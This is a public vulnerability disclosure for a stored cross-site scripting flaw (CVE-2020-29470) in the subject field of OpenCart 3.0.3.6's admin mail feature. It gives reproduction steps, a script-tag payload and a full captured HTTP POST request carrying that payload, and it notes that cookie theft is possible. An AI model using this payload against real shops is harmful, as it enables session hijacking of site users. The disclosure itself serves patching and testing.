OpenCart 3.0.3.6 - 'subject' Stored Cross-Site Scripting

# Exploit Title: OpenCart 3.0.3.6 - 'subject' Stored Cross-Site Scripting
# Date: 24-11-2020
# Exploit Author: Hemant Patidar (HemantSolo)
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://www.opencart.com/index.php?route=cms/download
# Version: 3.0.3.6
# Tested on: Windows 10/Kali Linux
# CVE: CVE-2020-29470

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.

Attack vector:
This vulnerability can results attacker to inject the XSS payload in Subject field of the mail and each time any user will open that mail of the website, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: Subject of mail.

Steps-To-Reproduce:
1. Go to the opencart admin page.
2. Now go to the Marketing-Mail option.
3. Put the below payload in subject field of the Mail
: "<script>alert(123)</script>"
5. Now click on send button.
6. The XSS will be triggered.

POST /admin/index.php?route=marketing/contact/send&user_token=hYt4UTixry8NDaXiuhXO5mzuahIcOIO5 HTTP/1.1
Host: localhost
Connection: close
Content-Length: 206
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: localhost/admin/index.php?route=marketing/contact&user_token=hYt4UTixry8NDaXiuhXO5mzuahIcOIO5
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7,ru;q=0.6
Cookie: __cfduid=d6a6bab42bd30fb2b2e20cad3dd5a80ed1606187757;

store_id=0&to=newsletter&customer_group_id=1&customers=&affiliates=&products=&subject=hemantsolo%22%2F%3E%3Cscript%3Ealert(123)%3C%2Fscript%3E&message=&=&=&=http%3A%2F%2F&=on&files=&=&=&=&=&file=&=&=&=_self